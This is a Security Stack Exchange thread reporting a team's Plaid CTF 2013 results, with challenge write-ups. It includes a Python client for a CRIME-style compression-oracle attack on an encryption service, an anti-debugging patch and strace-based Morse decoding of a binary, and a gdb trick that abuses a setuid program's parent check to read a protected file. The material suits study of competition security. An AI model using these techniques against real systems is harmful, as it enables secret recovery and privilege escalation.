Announced through Twitter, we got this April 2013 Plaid CTF update:

Plaid CTF ‏@PlaidCTF

Plaid CTF is delayed by 1 hour. It will now start at 22:00 UTC. Sorry!!

Just to let you all know. The Sec.SE CTF team will congress in this chatroom (closed during competitions).

The event will thus start today (Friday, April 19th, 2013) at 22:00 UTC, and lasts for 48 hours since the official start. If there will be any changes to this announcement, I'll update it here, as well as in the Sec.SE CTF chatroom.

enter image description here

Go Sec.SE!


We did alright! Finishing 78 out of 898 competing teams!

We successfully solved 4 of the challenges presented:

'Compression' - Solved by Gilles

A crypto challenge

  • We managed to get the source code for an encryption service running at Download

Solution details by Gilles

@AntonyVennard also accidentially re-solved it and has been kind enough to provide us with a detailed write up on his blog and the solution: crime_sometimes_pays

'Secure_reader' - Solved by MMavipc and Gilles

A crypto/RE question

  • "We found a wonderful new service you can use to secure all of your files with, though it is still in beta. The source is available at giga.py. And the service can be found at on port 4321"

@Giles Solution:

call system("exec /home/securereader/secure_reader /tmp/flag")

@MMavipc was also kind enough to write us up a detailed blog post on his site with how he solved the problem even though the challenges are now offline!

The result of both? The flag: that_was_totally_a_good_idea

'Three_eyed_fish' - Solved by Gilles

A Reverse Engineering/Binary challenge:

  • This binary is totally legit we promise three_eyed_fish.

Solution details by Gilles

'Unnnnlucky' - Solved by D3CAFF

This was a misc/bonus points question.

  • "Where does The Plague hide his money?"

The answer was immediately obvious to me, It was a reference to the 1995 movie "hackers" which i've watched at least a hundred times (not even joking, i've watched it in B&W ASCII (yay VLC plugins!)). MMavipc posted a link to the script, but missed the line An account number scrolls below Cereal's chin. in the script. I quickly pulled out my copy flicked through to the right scene and bam. 03087-08351-27H Unnnlucky! :) We scored an easy 20 points.

'hypercomputer-1' - Solved by MMavipc (solved literally minutes after the comp closed!!!)

This was a RE/Binary challenge.

  • For those who didn't play plaidCTF 2012: "supercomputer" was a reversing challenge that computed flags using really silly math (like adding in a loop instead of mulitplication). hypercomputer is easier... if you do it right :P ssh to

For the full solution write up see here: mmavipc's RE blog

The flag? Y0uKn0wH0wT0Sup3rButCanY0uHyp3r

Hack the planet y'all!

Cheers to everyone who participated, looking forward to the next one :D

  • I'll add anything anyone else can send me :) – NULLZ Apr 23 '13 at 1:18
  • Nice one guys :D – Lucas Kauffman Apr 23 '13 at 4:39
  • Note on my solution - you have to actually find things to fire in using my script. Those can be anything, but it helps to (locally) try a few zlib compresses. You should be able to observe that if you compress something like "hellohello" this is smaller than "ABCDEFhello". This allows you to extend my challenge response dict to query things and observe the responses. If you start with small amounts, you'll eventually find some compress better, because you've repeated blocks which exist in the encrypted text. Repeat with those phrases with liberal guesswork and the plaintext drops out. – user2213 Apr 23 '13 at 14:23
  • The script itself, that I wrote, was mostly just a harness so I could go through that process as I hadn't hit refresh and seen that it had already been solved! – user2213 Apr 23 '13 at 14:23
  • By all means incorporate this into the above. – user2213 Apr 23 '13 at 14:27
  • @antonyvennard done :) – NULLZ Apr 25 '13 at 2:12

Problem 12: three_eyed_fish [Binary]

We have a Linux amd64 executable trying to do something mysterious. It doesn't want to be traced (ptrace(0,0,0,0)); an easy workaround is to patch the binary to replace ptrace by something inoccuous like read. Also, the program tries to open /dev/tty0; patch this to /dev/tty. Tracing reveals calls to nanosleep for 250ms; either give it a few minutes to finish or patch the sleep duration down. This is what I did:

$ cmp -l three_eyed_fish three_eyed_fish.patched
  874 160 162
  875 164 145
  876 162 141
  877 141 144
  878 143   0
  879 145   0
 9299 346   0
 9300  16   0
 9573  60   0

A trace of the executable shows that it the KDSETLED ioctl to switch a LED on, sleeps for either one or three 250ms periods, then switches the LED back off. Can you say Morse code?

$ strace -o trace three_eyed_fish.patched
$ <trace <1.strace awk '/KDSETLED/ {printf "%d", ($3 == "0)" ? 0 : 1)} /sleep/ {printf "s"} END {print ""}' | sed -e 's/1s0s/./g' -e 's/1sss0s/-/g' -e 's/ss/ /g'
.- -. -.. ----- ..- ----- -.. .. -.. -. - ----- . ...- . -. ----- -. . . -.. ----- .- -. ----- .- .-. -.. ..- .. -. --- 

The flag is:


Problem 2: compression [Cryptography]

The goal is to find a 20-byte problem key $P$. We are told that $P$ only contains lowercase letters and underscore.

The script does the following:

  • Generate a random 8-byte nonce $N$.
  • Write $N$.
  • Set $V := N$.
  • Repeat forever until the connection is closed:

    • Read 4 bytes, interpreted as an integer $L$.
    • Read at most $L$ bytes, forming a string $M$.
    • Compress $M || P$ with zlib and encrypt the result with AES-CTR with the nonce $V$ and the fixed 256-bit key $K$, resulting in a string $C$.
    • Write the length of $C$ as a 4-byte integer.
    • Write $C$.
    • Set $V := V + |C|/16$.

In summary: compress the user's input, append the secret key, compress, encrypt, output the ciphertext.

This leaks the size of the compressed string, which in turn gives information about commonalities between the secret key and the user-chosen input. In a word: CRIME (well known on Sec.SE).

I was lazy, so I only wrote a quick-and-dirty client to guess one additional character.

#!/usr/bin/env python
import os
import socket
import struct
import sys

addr = ('', 4433)
alphabet = 'abcdefghijklmnopqrstuvwxyz_'

def submit(prefix):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    attempts = [prefix + a for a in alphabet]
    for attempt in attempts:
        payload = attempt * 64
        sock.sendall(struct.pack('I', len(payload)))
        n = struct.unpack('I', sock.recv(4))[0]
        print n, attempt
    return n

if __name__ == '__main__':
    submit(sys.argv[1] if len(sys.argv) > 1 else sys.stdin.read()[:-1])

cri… Gee, crime_, yup, s, o, m, …


Problem 16: secure_reader [Pwnable]

The flag is in /home/securereader/flag. Only the securereader user can read it.

The program /home/securereader/secure_reader is setuid securereader. Let's try calling it:

$ /home/securereader/secure_reader /home/securereader/flag
This may only be called by /home/securereader/reader
$ /home/securereader/reader /home/securereader/flag
File is not in a whitelisted directory!

strings /home/securereader/reader shows /tmp/ as a directory (and others that are unlikely to matter as they are from libc components). Lookie here, /tmp/flag has the same date, size and permissions as /home/securereader/flag!

$ /home/securereader/reader /home/securereader/flag
This may only be called by /home/securereader/reader

Odd. A trace reveals that secure_reader's parent is /bin/dash, instead of reader as intended. Break out a copy of Gdb:

$ gdb /home/securereader/reader
(gdb) b main
(gdb) r
(gdb) call system("exec /home/securereader/secure_reader /tmp/flag")
  • Nice write up. THank you. – this.josh May 3 '13 at 5:22

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .